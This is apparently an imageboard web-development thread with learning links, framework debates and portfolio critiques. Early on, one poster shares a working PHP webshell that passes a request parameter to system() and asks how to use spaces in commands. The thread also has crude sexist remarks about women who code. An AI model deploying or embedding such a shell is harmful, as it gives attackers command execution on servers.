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> Discord
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>Learning material
https://www.codecademy.com/
https://www.bento.io/
https://programming-motherfucker.com/
https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md
https://www.theodinproject.com/
http://www.freecodecamp.com/
http://www.codewars.com/
>Crockford on Javascript
https://www.youtube.com/playlist?list=PL7664379246A246CB
>Frontend development
https://github.com/dypsilon/frontend-dev-bookmarks
>Backend development
https://en.m.wikipedia.org/wiki/Comparison_of_web_application_frameworks
>Useful tools
https://pastebin.com/q5nB1Npt/
https://libraries.io/ - Discover new open source libraries, modules and frameworks and keep track of ones you depend upon.
https://developer.mozilla.org/en-US/docs/Web - Guides for HTML, CSS, JS, Web APIs & more.
http://www.programmableweb.com/ - List of public APIs
>NEET guide to web dev employment
https://pastebin.com/4YeJAUbT/
> How to get started
http://www.youtube.com/watch?v=pB0WvcxTbCA
Good videos on the channel too
https://www.youtube.com/channel/UCVTlvUkGslCV_h-nSAId8Sw
>cheap vps hosting in most western locations
https://lowendbox.com
https://www.digitalocean.com/
https://www.linode.com/
https://www.heroku.com/
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>>53615259
>Web Development
wake me up
>>Learning material
>https://www.codecademy.com/
>http://www.freecodecamp.com/
can't wake up
You should add Derek's channel
https://www.youtube.com/user/derekbanas
This is a very basic webshell.<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "</pre>$cmd<pre>";
die;
}
?>
it works like this: shell.php?cmd=<command>
the problem with it is that i cant have any whitepace in my command, or i get an 404.
how can i make it work with whitepace?
is this thread legit or is my browser memeing me? I can't find a new one, and here it says last post 8 hours ago.
>>53616645
Shit nvm, I think 4chins time got fucked or something.
Ok, I have a question. My school gave all of us hosting and we had to do something with wordpress - anyway, I'm wondering is it possible to change my domain name or am I stuck with what I've got? I'm still new to WP and don't quite understand what are those settings where you can change an address for. I didn't get it from the docs desu.
>>53616560
Are you also able to use $_GET[''] with that? Just curious.
>>53616560
use %20 instead of spaces in your url
oh and by the way, tell me where you upload it so i can test it for you :) ta muchly!
>>53616688
If your hosting doesn't purposely disallow it (a lot of free/shared hosts do on those pricing tiers), then of course you could configure the relevant records on your purchased domain to point to said hosting.
>>53615259
>FreeCodeCamp
Do we all agree that this does not belong in the OP?
you guys know that running "install_wordpress.sh" is not really development right?
>>53618124
>Girls Who Code
As if any of the girls who code are even half that attractive. Lesbihonest here, they're most fat and unattractive.
>>53615800
>>53618124
so dont use freecodecamp?
>>53618124
Tbh, the beginner-intermediate js stuff and the projects are actually pretty decent.
>>53618483
If shit like this helps get women into coding, I'm all for it. I'd love for my job to be less of a sausage-fest.
>>53618958
Might as well be a sausage fest if the women are wildebeests.
>>53618958
Get a gf/wife
You'll cherish the daily sausagefest with no stupid cunts to shit up your day
>>53618958
It won't. If you want to code, then you code. A sign or secret no-girls allowed club didn't get me started.
>>53618483
There's only a handful of girls in Software Dev at my uni and they're all fine. Iunno where you live but it's not IT's fault.
Just started using Node/NPM/etc.
Used to use PHP include statements to share headers and footers and stuff between pages. What's the JS equivalent to this?
>>53620191
You would be doing the includes in your templating engine. I'm assuming you're using Jade for this.
http://jade-lang.com/reference/includes/
But for me at least, I'm using AngularJS like normal and use ng-include for partials. Good luck, (M)EAN is fun as fuck yo.
>>53620191
Templating languages. I'd recommend something like nunjucks https://mozilla.github.io/nunjucks/ since its basically vanilla html/css/js but you can pass variables and stuff from your server to your rendered pages.
>>53616560
Looks pretty secure senpai
Not sure if this is the right thread to ask this, but recently I've been bored to shit in my college, getting bachelor's this year in logistics.
I want to start a dev career meanwhile as a backup plan for now, possibly as main career choice in close future.
I learned basics of Turbo Pascal and have basic understanding of Visual C++ and know how to read and edit HTML code, not able to code on my own in notepad or shit.
I'm interested the most in becoming an android dev or a front-end dev, more the first as I pick interest in android stuff. I installed Android Studio for shit and giggles yesterday and screwed around and noticed it looks awfully lot like Visual Basic C++ in use and I think I could go with it.
My question is, where should I start? Should I go with Android Studio and learn Java meanwhile or focus on Java and then go for Android Studio? I wouldn't be able to recognize Java code for shit even if it'd be put right in front of my face, but learning commands and general understanding of the code on the go is possible I think.
Help me pick, /g/, please. No gentoo pls
>>53622778
>Turbo Pascal
Is this a pasta?
>>53622839
Nope, they taught us this shit 7 or 8 years ago in technical school which is an equivalent for regular high school but with basic IT shit.
I know, it's ridiculous.
Anyone have the collar image of Rasmus (creator of PHP) and the quotes that he's no idea what he's doing?
>>53622862
I think that native mobile apps don't have a great future because ServiceWorker now gives the browser a lot of functionality that was in the domain of native apps. So I'd say learn webdev, HTML, CSS, JS.
>>53623304
Thanks mate.
>>53623208
Is Java Script necessary? I thought it was dying recently.
Besides, should I start with HTML (or HTML5?) or CSS or both at the same time?
Anything else for the beginner? Or put on hold other things until I get a grasp of HTML/CSS?
Thanks for replying, by the way.
>>53623399
I'm not the guy you're talking to, but...
>Is Java Script necessary? I thought it was dying recently.
It's sorta dying, but in the sense that Flash Player is dying. It's on the way out, but it'll be a long time so it's worth learning.
>Besides, should I start with HTML (or HTML5?) or CSS or both at the same time?
Both at the same time shouldn't be too hard, given that they're complimentary. If you have to pick one over the other to learn first, pick HTML.
>Anything else for the beginner? Or put on hold other things until I get a grasp of HTML/CSS?
Get a hold of HTML & CSS, then move onto PHP.
>>53623654
>It's sorta dying
Can I have a source or explanation on this?
>>53623288
I literally kek'd
>>53623654
Dumbass
>>53623399
>>53623654
>JavaScript
>dying
What are you two smoking?
>>53623288
Woah
>>53619120
This
What is considered a cool, non-trivial web project that companies like?
I don't have anything on my resume. The only things I made are a wordpress theme from scratch, web app for storing bookmarks in categories with a nice UI, a responsive project with Foundation, some ten-lines-of-code YT API for showing the latest video on the whole YT, and a few web scrapers with Python. I'll make a few social networking websites with Rails (as a parts of the tutorials while learning) and then make something more advanced with it, using a couple of APIs.
So I guess this is almost nothing. I probably enjoy design way more than programming, I always spend more time making it pretty than useful.
Tips?
Anyone who Ember.js here?
>>53624048
Clone a popular tool, e.g. Trello, or contribute to open software on GitHub - companies only care about GitHub.
For people who are looking for the best:
php: symfony > phalcon > laravel
node: nodal > meteor > koa
python: django > flask > web2py
db: cassandra > postgresql > mariadb > mongodb
front: react > angular > jquery
deploy: ansible > puppet > chef
distro: fedora > arch > ubuntu
>>53624048
You have a more substantial portfolio than I had when I got a job. just apply for shit and see what you get.
>>53623654
>JavaScript is dying
>learn PHP!
kek
>>53624224
Nice opinions
>node: nodal > meteor > koa
lmao meteor. Opinions discarded.
>>53624122
hiya!
>>53624335
Nice, what are you working on?
Myself I'm working on a simple project management webapp, like Asana.
Where my ASP.NET fags at?
>>53624375
i've actually been learning elm recently which is a pretty nice change from javascript
i can't wait for someone to come along and make an ember.elm or something
who here solarized
>>53624224
Cassandra or PostgreSQL?
>>53624511
Both are fucking great, just try them.
>>53624398
Right here being all excited for vnext.
Can someone help with pic related?
Damn, the problem is probably stupid, but I can't fix my post cards so that they get aligned with a big post. You can see that there is a whitespace at the edges of that container highlighted in blue. The space in the middle of them should somehow be a little bigger I guess, idk. I've been playing with width percentages but that doesn't fix it.
Working on a image/audio/video/PDF upload thumbnailer in Golang with emphasis on performance. Form validation and parsing is already done. Can start on the file metainfo validation and actual thumbnailing. Colleague is working on writing more ffmpeg bindings for thumbnailing and meta extraction.
>sitting at work creating unit tests and actively trying to break the thing I've just built.
TDD isn't just a meme
>>53625068
If you are creating unit tests for already existing code, then it is not TDD.
>>53625042
how do you empashize performance? Srsly I have no idea how I'd do something like that. How much lines of code is that? I always just make a basic form and it takes me like 10 lines tops. I can't even imagine how can a file upload and validation be complicated of a task, kill me. Fuck my PHP course I guess.
>>53625185
TDD is the new waterfall. As if I'm going to actually write tests before I even understand the thing I'm building. Unless it's a 'hello world' script.
>mysqli_real_actual_totally_legit_no_foolin_escape_string()
goddamn php. Why does this shit language still exist?
>>53625315
Why does Perl still exist?
Nobody's forcing you to use it.
>>53625190
The actual form parsing is not the main issue, of course. What is is extracting metadata and the actual thumbnailing.
1) Write in a non-shit language: C, C++, Go, or JS (arguably less so, because writing bindings for Node is a horrorshow) .
2) Don't spawn swarms of subprocesses and use ffmpeg and/or ImageMagick bindings
3) Multithreading
4) Disk I/O is slow. Keep it in memory as much as possible.
As for loc, what I have now is about only 500. The file manipulation packages my colleague has written will probably amount to 0.5-1k in the end. So ~2-3k loc total in the end.
If it's any measure, the previous one we had written in Node with streaming between subprocesses was something like 2k loc.
>>53625339
The difference is that nobody fucking uses pearl anymore while php is still one of the most popular web programming languages out there.
>>53625371
>non-shit language
>JS
inb4 the memelords
>>53625400
I agree that ES5 is complete garbage, but nobody is telling you to write in COBOL either.
>>53625379
>Somebody who's never actually used php
Seriously people who seriously develop in php, have come to like it. Not love it, but its not the garbage that trendy startup ceos paint it to be.
>>53625400
>>53625412
I like ES5, but in the same way I like brainfuck. Except people are willing to pay me money to write JavaScript.
>>53625371
Yeah, I'll need some literature for this. No idea where to even start, we didn't learn any of that in my PHP course.
Btw, aside from this topic, I'm always intimidated when I see this amount of lines of code. I literally can't make anything with more than 200 lines. Don't know what to do when everything seems to work fine and I manage to build a whole website/application with that amount. The only time I got 1k+ lines of code is in a CSS file kek.
>>53625425
Sounds like stockholm syndrome, bruh.
>>53625438
I didn't really read any book on this. Just Google and consulting with more knowledgeable people.
You can start by using something other than PHP.
>>53625425
People always shit on PHP, happens on a daily basis. Using JS for back-end is even way less practical than using PHP but the autists on here will always champion Node like it's the best thing since sliced bread.
Does Rails have anything Django doesn't (when you consider what is built in and the third-party libraries)?
>>53625568
Yes, performance even lower than Django's.
>>53625592
What if you run it on Rubinious, JRuby or some other crap like that? Honestly, I'd accept even lower performance for 20% faster development or a killer feature of some sort.
>>53625694
No experience with those.
>>53625694
>I'd accept even lower performance
I don't think your users would appreciate that, especially if you're developing something that will handle a large payload at any given time.
>>53625727
If twitter could do it for some time...
:^)
>>53625532
Well, you have to admit it's convenient to invest more time in getting gud at JS than learning yet another clusterfuckish language like PHP.
And frankly it also sounds good to not have to use apache/php/mysql.
>>53625412
>>53625430
I unironically like es6 JS
And I mostly use node so I don't have to care about shitty browsers.
>>53625532
>Using JS for back-end is even way less practical than using PHP
Why?
>>53625839
ES6/7 is pretty nice. Especially the async/await part.
>>53624224
care to explain the distro options?
>>53626023
He has never experienced the joy of Gentoo and sucks corparate system D.
>>53625854
Try using Node/JS with any sort of relational DB and you'll get fucked six ways to Sunday. It's not ideal for server-side intensive processing either. It's great for simple shit like Chat apps, but you're better off using something else. If you're in the "fuck PHP" brigade, choose with Python or GO.
>>53626106
>Try using Node/JS with any sort of relational DB and you'll get fucked six ways to Sunday
I've used node with a mysql db and had no problems with it. What are you talking about specifically?
>>53625315
nearly every single php "dev" is an expert beginner
>>53626212
If you're just pulling data from the DB that is fine, but with relational DBs you're dealing with foreign keys, primary keys, joins, sub-queries etc. which aren't very practical in Node.
Most people that use Node go with Mongo, and it's a mess if your data is relational, or if you are trying to handle large amounts of data.
>>53626106
>It's not ideal for server-side intensive processing either.
Couldn't Webassembly change that? I mean asm.js is already basically working with only numbers just to speed up things a lot. I imagine if Webassembly worked on the server too with V8, server-side computations might have better performance, maybe comparable or better than PHP.
Just an idea, I'm not sure about the implications. I know Webassembly is based on asm.js and asm.js is using a subset of JS, which uses basically only numbers so that it avoids type conversion and garbage collection completely at the JS engine level.
>>53626273
The fuck you talking about bro
>>53626106
>Python
>>53626275
>compiling C/C++ to a web format for server-side
What are you smoking?
>>53625727
>I don't think your users would appreciate that
I understand that Rails has pretty good latency when you serve under 100 requests/second. That is enough for most web applications and if it ever becomes not enough, I can split out parts of the application as microservices in a faster language.
>>53626588
What would the difference be compare to PHP? Isn't PHP compiled from C/C++ too? Sorry if I'm saying stupid shit, I was thinking maybe Webassembly might bring some change on the server-side JS too.
If the bottleneck in JS is garbage collection and all the shit involving type conversion, object-management, then using something like asm.js/Wasm might improve performance of computations running on servers. What's different from how PHP works like right now? Enlighten me..
>>53626931
>What would the difference be compare to PHP? Isn't PHP compiled from C/C++ too?
PHP is an interpreted language. The interpreter that reads your code is compiled.
>>53627159
And JS is JIT-ed by the V8 engine which is compiled in C++. What's your point, what is the big difference that makes PHP more usable for big computations on the server compared to JS?
I know JS is shit for a huge workload of server-side computations, so I'm asking if anyone has any idea why Wasm wouldn't be a good idea on the server too, maybe to make JS more viable for heavier workloads.
>>53626275
I don't think you understand what webassembly actually is...
>>53626931
>I was thinking maybe Webassembly might bring some change on the server-side JS too.
Native Client x asm.js is the future, don't listen to this dick
>>53627339
Explain why wasm wouldn't work on the server with a Node/V8 setup.
>>53627408
Webassembly is for the browser, it allows programming languages be compiled to Webassembly instead having to be compiled to javascript and be limited by the browser's javascript engine.
Think about it dude
>>53627445
But doesn't the V8 engine interpret JS code and JIT it for execution? So if Node runs on V8 why couldn't wasm run with Node?
> it allows programming languages be compiled to Webassembly instead having to be compiled to javascript and be limited by the browser's javascript engine
Erm, I think it allows for C/C++ to be transpiled to JS, rather, by doing exactly what it does for asm.js, that is avoiding the delays involved with garbage collection and type coercion. That's what I could gather from their Github repo.
>>53627199
/dpt/s making fun of us again
>>53627408
You could, you know, just use the C/C++ on the server and call them from node.js.
>>53627517
so i'm gonna take the bait
You do realise you can run whatever code you want on your server, right? Why the fuck would you want to transpile C++ to JS to run on your own server when you can just use it as normal?
No wonder people call web devs retarded
>>53627572
Yeah, I know that, but how the fuck would it bind with Node?
>>53627529
Well it is true.
>go to meeting
>people spend 10 mins arguing what should be the color of a button
>>53627597
https://nodejs.org/dist/latest-v5.x/docs/api/addons.html
>>53627568
Node is C++
Look up native modules
>>53627610
Stop working with retards and/or stick to backend. That's never happened to me.
>>53627801
So why aren't we using more C++ on the server for stuff which needs heavy computations? It doesn't seem very common. And it might make Node a more viable choice if the stuff which involved heavy computing was offloaded to C++ modules.
>>53627529
>webdev
>no money
lmao what?
Could be worse... could have to resort to teaching as a career.
>>53627871
Webdev is a very broad term. It can be anything from shitty junior CSS/HTML monkey to WebGl and data visualisation using D3. Or backend, that's also webdev.
All very different things.
>>53627839
Because C++ is a pain to write in.
![2015-07-17-1437155465-1424656-SteveJobs[1].jpg](https://i.imgur.com/kepDbyC.jpg "2015-07-17-1437155465-1424656-SteveJobs[1]")
>>53627610
>>53627831
>obsession with UX
>a bad thing
>>53627975
>thinking that UX is about a shitty micro-managing boss telling you to shade a button or make it bigger.
Pajeet pls go
>>53627529
No money?
After 6 months of teaching yourself you can easily get a job making 40k and then 3 years later of job changes and you're at 80k+ and that's not even for the good jobs that pay 80 an hour.
>>53627975
This. Nobody said it's a "programming" though. But you have to be stupid if you think it is "easy". That's why graphic/web designer exist, or even designers/front-end devs, and that is still web development then.
>>53628539
And doesn't even matter if it should be called development or not, the point is that guy is making fun of designers, which is the vital thing.
>>53628565
*vital thing, meant as - design of a product is a very important thing. I give up on my 4channing...
>>53625315
everyone moved onto PDO like 5 years ago. not a problem.
>>53628535
>After 6 months of teaching yourself you can easily get a job making 40k
>>53629240
I did this and I make £28k. But that's bongmoney so that probably comes to about $40k in burgermoney.
>>53628583
>>53628565
Web designers draw pretty concept art of the website, free from the constraints of the platform, good UX and reality.
Web developers make websites work and design them to actually function and have good UX.
It's like someone who draws pretty pictures of bridges vs an engineer who draws the blueprints for bridges.
r8 personal site pls. Test for mobile too (resize window)
http://collinoswalt.github.io/
>>53629556
errors in the markup, lots of inline styling.
it looks very dated.
>>53629556
>$(document).ready
>at the end of the page
do you even know what it does
>>53629613
I don't understand. AFAIK, the page can still be rendering after the script is executed
>>53629583
I'm just lazy, I know about the inline styling. What do you mean about errors in the markup?
Also how do you mean dated?
>>53629556
>3 links to navigate the whole site
>uses a hamburger menu
>fucking buttons.js
>un-minified jQuery-dependent script which is present on every page but which only affects elements on one page, and which accomplishes something that could be handled server-side.
>no ServiceWorker
>nearly 100kb pageload
HOLY SHIT FUCKING KILL YOURSELF THIS SITE IS SO FUCKING BAD
>>53629702
dated as in it looks like made in 2002. it's just not pretty to look at.
you don't define a doctype and some other stuff
https://validator.w3.org/nu/?doc=https%3A%2F%2Fcollinoswalt.github.io%2Findex.html
>>53629556
><div onclick="window.location='about.html'" class="category">About</div>
enjoy searchengines not finding anything.
>>53629753
Well that seems like a bit of an over-reaction.
1. only 3 links are needed, there's only 3 parts to my site
2. Hamburger menu is only for mobile, which is the standard for 99% of websites today
3. buttons.js just makes it easer for lazy me to copy and paste the first 10 or so lines from each file to the next.
4. I'll fix the jquery code at the bottom of each file, but why would I pass off something so simple to server-side when that would require me to migrate from github pages? Is there a design principle I'm unaware of here?
5. What's a service worker?
6. most of that pageload is from 88kb of jquery, which afaik IS minified.
I'm open to criticism, but maybe keep in mind that this isn't /r9k/?
>>53629803
do yall memorize your stack install commands?
I'm having a lot of trouble remembering everything and this is my 3rd LEMP configure this month.
>>53629803
I'm not really worried about that? Why would I care about google finding my portfolio? Who's looking for me?
>>53629856
possible employers.
>>53629843
kek is this /p/
>rate and comment pls
>it's shit because x
>OH RLY ? IMMA EXPLAIN YOU WHY IT'S ACTUALLY GOOD YOU FAG BACK TO >>>/trash:
>>53629774
That's a really helpful tool, thanks!
I agree, looking at it again, that it looks a bit dated. I think it's mostly the header... Also the >> before each post was meant to copy 4chan, but thinking now, it looks like it's trying to copy some shitty 90s BBS or something haha. I'll rethink the design, thanks.
>>53629866
While I wouldn't represent my response in such a hyperbolic tone, I admit that I was careful not to outright reject criticism because I don't like it. Some of your criticism is right, about the needless code at the bottom, but most of it just doesn't make any sense to me? Is there a problem with a hamburger menu on a mobile site? Most if not all mobile sites do this now. And why would I need more than 3 links to navigate when there's only 3 pages? Also I didn't understand some of your points, like about a serviceworker or passing off a simple calculation to serverside. Can you explain a bit more?
>>53629556
>Eliminate render-blocking JavaScript and CSS in above-the-fold content
>Black on White is readable but not optimal, go Grey on White.
>SEO is fucked
>Fonts dont work together
Should start there desu
>>53629935
1. I didn't really understand any of this. Do you mean the menu and how I'm using JS to render the menu?
2. Will do
3. Will look into, but I don't know anything about SEO, nor do I expect it to actually matter since I don't have any faith in myself to be marketable lol
4. I wanted to use monospace so I could uniformly attach some styling, but I'm removing the >>, so I'll probably just make everything Arial.
Thanks
>>53629998
>understand
https://developers.google.com/speed/pagespeed/insights/?url=http%3A%2F%2Fcollinoswalt.github.io%2F
>I don't know anything about SEO
Should probably learn, it's important for web devs to at least grasp the notion of SEO. It's extremely useful too, as ranking means the world to companies. Not really about being marketable, but reachable 2bh.
You could still play with fonts, it's yet another important ability in front end to at least be able to match up some google fonts.
>>53630056
Yeah I'm not entirely sure if I want to be a web dev or not. Sort of unsure about what I wanna do in the future. I like making webapps mostly, and messing around with static pages is fun, but idk if I'd want to do it for a living, but I'll look into it anyways.
>>53629843
>1. only 3 links are needed, there's only 3 parts to my site
3 links can fit on a mobile screen.
>2. Hamburger menu is only for mobile, which is the standard for 99% of websites today
They're standard because they're easy, and a lot of developers are lazy. That doesn't automatically make them good UX, they consistently perform like shit in usability tests. And you don't say "only for mobile", saying "mobile internet" these days is kinda dumb, like saying "color television", mobile-first is not a meme.
>4. I'll fix the jquery code at the bottom of each file, but why would I pass off something so simple to server-side when that would require me to migrate from github pages? Is there a design principle I'm unaware of here?
I forgot it was gh-pages. I assumed you weren't a poor.
>5. What's a service worker?
https://www.youtube.com/watch?v=SmZ9XcTpMS4
>6. most of that pageload is from 88kb of jquery, which afaik IS minified.
You don't need an 88kb of jQuery for what you're doing. Use vanilla javascript for that shit.
>>53630099
They're still useful skills even if you don't stay a web dev. So definitely work on them, don't think of it as learning skills you'll never use.
>>53630107
1. Alright, I'll try to find somewhere to put them, but I think it would make the mobile site look like a squished desktop site
4. But still, why would you pass off something so simple to the server? It sounds like a waste of effort.
5. I don't see why I'd need something so complicated on such a simple static page. That sounds like a huge waste of time for what I'm doing here.
6. I agree, I just like jQuery because it makes everything easier (vanilla javascript is shit)
>>53624398
>>53624663
What's to be excited about when my workplace projects will continue using 4.5 and MVC4/5 forever?
>>53629556
>jquery
0/100.
>>53630220
>6. I agree, I just like jQuery because it makes everything easier (vanilla javascript is shit)
The DOM is the api for the browser, which is shit.
Javascript is the best language ever.
How many of you are actually employed? Do you like your job? Do you get paid enough?
>>53630371
I'm not employed in web dev yet. Currently applying to places. I know far more than the standard entry-level dev so I hope to get one of those spots.
My current job is comfy, but not related and it pays next to nothing because any retard could do it.
K so I fixed the errors (which is weird to me, since "errors" don't actually affect the output of the markup. It seems to me that an HTML "error" is just a stylistic choice for code?)
Removed some of the styling, too. Now it all feels very very empty to me. Like it may as well be RMS's site, with almost no CSS at all. Like there's no self expression in this site at all
Would it be bad to put VB. NET and Java on my resume if I haven't used them in the last 10 years and can barely manage to get out a "Hello, World" now?
I did write a bot in VB .NET a few months ago so I think that's a safe on to add, I'm just not sure about Java.
>>53630371
Yes
Yes
>>53627839
That was actually the point all the long... Not this React bullshit. With all the politics surrounding UI browser based development right now, JavaScript sometimes feels like it's more useful for selling tshirts than writing code.
Perhaps this Webassembly thing is a good idea... The React and Angular brigade can then fuck off to some new, insipid unicorn language, with a lovely logo and convoluted type system. Meanwhile, sane developers can reclaim JavaScript. Without all the "Reactors", at it's base, JavaScript is a really good language.
>>53630517
go ahead, it should come back to you easily enough as long as you've still programmed in the last 10 years. just get up to date on what's popular in vb and java
>>53630517
>VB. NET
Good lord why
>>53630649
It was one of the few programming languages taught at my highschool.
>>53629926
I'll help you when I get home anon.
>>53629556
How does your book progress thing work?
I can't imagine you manually record total pages you read and put it in
>>53630725
That's exactly what I do. Same way I make blog posts, I just edit the html file.
>>53630753
Yeah, that part is really unnecessary in my opinion.
>>53625568
Speaking of, what is the go-to Rails clone for Node? (Sails.js looks dead.)
Best React tutorial? I need to learn Redux and whatever else needed to build a full SPA against a backend API
>>53630856
I can't really think of any other way to do it on github pages.
>>53630574
Well, I'm kinda hyped about Wasm, though I'm not sure which one of these will happen:
- either more devs will ignore JS and just transpile from C/C++ into it, if they need heavy stuff to run on a webpage
- or JS gradually evolves to the point where transpiling becomes less necessary (for example, ES7 is adding typed objects, which I imagine will speed up things a bit, if type conversion is bypassed at JIT compilation time, etc) -- the scenario in which JS is gradually becoming the C++ of the web by adding more features (without the craziness of C++) -- except it will still be kept sandboxed and unable to make system calls and stuff which can do system damage, for obvious reasons
Should I even list previous jobs on a web development resume that have nothing to do with web development?
Should I create an extra category at the bottom that says like "Previous jobs" or something?
I don't want to put professional experience when military and loss prevention isn't even related.
>>53623288
It's as if lord Rasmus had coded it himself.
When I use typescript to compile modules, to I HAVE to use a loader such as System.js with it, or can I just bundle everything into one fuckhuge file?
>>53631068
Mention them if you want, but don't fill your resume with stuff on it.
=> PHP <= for backend ;)
>>53623304
accurate.
>>53623399
not accurate. JS is many hipsters' only programming language b/c/ node.js
pick up a good book on C and read the computer science lessons as you learn practical programming in JS/PHP. start with PHP, JS is way too expressive and you'll be doing retarded things until you learn how to structure a program (PHP functional or object-oriented style)
>>53631139
You can do either.
>>53631392
But what is the advantage of a runtime loader then? Seems to just increase first load times by a ton because you have to make multiple requests, and you can only start with the second layer after the first actually succeeds.
>>53631409
Selective and dynamic loading. You probably don't need to load all the modules in all scenarios. Request count does not matter with HTTP/2 and loading is asynchronous.
>>53631631
But does HTTP/2 matter in a world where people just can't just using their ancient browsers?
>>53631654
Do the retards using ancient browsers matter?
>>53631700
Not to me. But muh boss.
>>53631719
Tell your boss, he's a faggot.
>>53631753
In a few years.
I can't wait.
>>53623399
>I thought it was dying recently
It has never been more alive honestly. Thanks to Node.js
what would be a good commenting system witout javascript just php mysql?
>>53629926
kill yourself you pretentious fuck
So I am thinking of creating some web application in Java. Any recommended Java web frameworks?
>>53630952
I mean that the whole idea is unnecessary. I don't know who would be interested in that desu.
>>53629856
Isn't that the whole point of your site? For people to find you?
>>53624224
Nodal is completely insignificant. Too young. Express is currently the best option, koa 2.0 looks amazing but will take time to mature.
Are there any tools out there that will automatically test my site for stuff like SQL injection? Or will I have to learn how to do it and test it manually?
yeah its called a pen tester
Thanks Pajeet
>>53633403
Express had some scary holes in its documentation last I checked
Laravel is POORLY DOCUMENTED and the code changes EVERY FUCKING VERSION.
So I wonder what else can I use that isn't:
>Poorly documented
>Flawed in design (like codeigniter)
I want to change my header from something like
Work
to
> Work
(but not green texted and only change to the >work when the screensize is a certain size like below 600px)
how can I do it?
how do you call a controller method with an arguement from the view via an ajax call? never used ajax before and it's a bit daunting
what do you mean by a controller method?> what framework
>>53624593
They both are great, but it all depends on what you're trying to solve. For one, Cassandra is excellent for heavy write loads, and read loads that you're able to plan in advanced for in your schema. Additionally, as far as CAP theorem goes, cassandra focuses on AP. At scale, you're really only looking to query by primary key (and you'd generally split your data by using a composite primary key).
Cassandra is a great highly available, eventually consistent database.
PostgreSQL on the other hand is a more traditional SQL database with a lot more features. Way more powerful indexing support, more advanced datatypes, aggregation support, etc... For HA, Cassandra is generally run in the master/many read-slave set-up. Even then, Cassandra's replication tools are very far behind compared to other databases (like MongoDB). Getting MongoDB replication setup takes minutes w/ Replica Sets.
Generally, for most usecases you'd start here. You do not need to use cassandra unless you're storing hundreds of millions (to billions) of records every month, and know in advanced how these rows will be written and read. Additionally, Cassandra scales horizontally way better. At this point you can just tack on more nodes, and it'll under most circumstances work.
Anyways, use the right tool for the job. Don't use cassandra unless you need to. Cheers.
>>53630371
Yes. And yes. I get paid way more than enough.
>>53633294
Spring + Jackson
>>53627256
Wasm's biggest selling point is that you can run code at nearly native speeds in a sandboxed VM. You really don't need this on the server. If you have something in C++, why compile it to Wasm to then run in a VM (at half the speed) when you can just compile it and run it on the metal?
>>53638170
Don't. As much as I hate shitting on people's language choices, web development using java is an abysmal mess.
Hell, I'd rather write shit in PHP than deal with Java's bloat.
But ideally, I'd just use Python.
>>53638197
>bloat
Meme.
PHP and Python (django) are both terrible for backend. People claim they are good, but working at least a year in all 3, I know that java leads to the least work/ugliness. Java may become overengineered, but PHP and Python quickly turns into spaghetti.
Anyways, the original guy asked for web frameworks in Java.
Anyone want to mentor me? I want to be better, and help would be amazing.
>>53638308
Python turns to shit if you've got shit devs. Java is bloat from day 1. I remember having to use Spring/Jackson to write a RESTful API. It was awful. Did it in a third the of the code in Python.
>>53638357
>I remember having to use Spring/Jackson to write a RESTful API. It was awful
Wut? How hard is:@Path("/objects")
@GET
@POST
@PUT
@DELETE
@Path("/{id}")
@PathParam(value="id")
>Did it in a third the of the code in Python.
Less is not better.
>>53638409
Great you decorated a function. Now try to interact with a DB. The ORM options & database drivers for Python are nearly unbeatable.
>>53624678
adjust margin/padding of inner elements
>>53637224
Not PHP.
>>53638409
>less is not better
Fucking javafags.
>>53638463
Sure, super hard.Connection con = dataSource.getConnection();
PreparedStatement ps = con.prepareStatement(SQL_GET_THING);
ps.setString(1, thingID);
ResultSet rs = ps.executeQuery();
List<Thing> things = new ArrayList<>();
while (rs.next()) {
things.add(new Thing(rs));
}
return thing;
>>53638540
clearly this is the best fizzbuzz:i=0
while 1:i+=1;print"".join("BzuzzizF"[::2*j]for j in(-1,1)if 1>i%(4+j))or i
So, anyone else working late too?
>>53637224
Try symfony
>>53638645
>working easter
I'm sorry, my american friend
>writing a JavaScript library
>there are no available words left to use as a name for it
Looking forward to releasing allthenamesaretaken.js
why isn't /g/ screaming about this yet: http://www.theregister.co.uk/2016/03/23/npm_left_pad_chaos/?mt=1458718155102
JS babies:
BTFO
T
F
O
So is google able to index dynamically rendered websites? How does it work?
>>53639207
I know. Quite the dank situation.
Also you gotta love this:
>Programmers were left staring
>left staring
>left
>left-pad
top kek
>>53639209
their bot is just a headless version of chrome, so it's able to index meme frameworks reasonably well.
>>53639399
Define headless
>>53639168
Try PhunJS
>>53639414
headless just means theres no UI, even if one is being rendered internally, like most game servers just run the actual game, but you just have a console.
>immutable.js
Why am I suddenly seeing this everywhere?
>>53638598
Or I can just use an ORM in Python and do something like:
things = Thing.objects.all()
Lol.
>>53638598
Less lines is not less complexity m8
>>53639168
Don't be an autist and just call it by what it does.
>>53637464
Use css media queries. Google it. 1 line of code.
>>53639761
how do I insert the '>'?
I don't want to use
::before/::after
>>53639799
Oh, didn't notice that. I "think" you would need to use JS for that. Use function to check screen width and add innter HTML etc.
>>53639868
*inner
I finished a programming course last year and work as a SEO/Internet marketing/admin atm.
Currently looking at signing up to this
https://linuxacademy.com/amazon-web-services
anyone used them before?
>>53639207
Wow this is huge. I'm never using node for anything now.
>>53639207
>13 loc package breaks half of node
kek
>>53639455
Part of the trendy Facebook stack.
>>53639957
Node is fine. NPM fucked up.
Wtb better package manager that isn't afraid of faggot lawyers
Coming from a typed and compiled language background, one thing I really miss when working with JavaScript is decent auto completion and symbol traversal (Go to definition).
Are there any good packages for Atom that can solve this problem for me. I know WebStorm is supposedly better at doing these things but I like the Atom and it's philosophy inherited from GitHub.
>>53629926
most websites load shittily without javascript, most websites gave into jewflare... just because most (not all, there are still leftover good sites around) websites use hamburger menus in mobile layouts doesnt mean that you need to jump on the bandwagon nor does it mean that you even need to make a mobile version of your site. any site with a half decent stylesheet will work on both desktop and mobile
>>53633294
play
>>53640155
TypeScript and atom-typescript.
>>53640155
ternjs
>>53637224
>Laravel is POORLY DOCUMENTED
I've been saying this since forever. The learning curve is too damn steep. The only reason I'd use it is because of the routing and template management.
>>53618124
>women in programming
Anyone who knows if this is possible in only PHP?
>>53641084
The code is insecure, and yes loading a page is possible in PHP
>>53641115
Why is it insecure, and how?
I know about include and require, they'll emmit a warning and a fatal error. What's the magic?
>>53641187
Not cleaning your GETs and dumping them straight into other code.
>>53641204
FUck me, you're right.
Still wanna know that magical non-javascript alternative
>>53641244
use include?
you say you get a warning and error, but yet you did not post the error you get nor the code you used.
>>53641277
The reason I'm not using it is because they produce a warning or an error (depending which you use).
Even if !include does so, which is pretty annoying
>>53641356
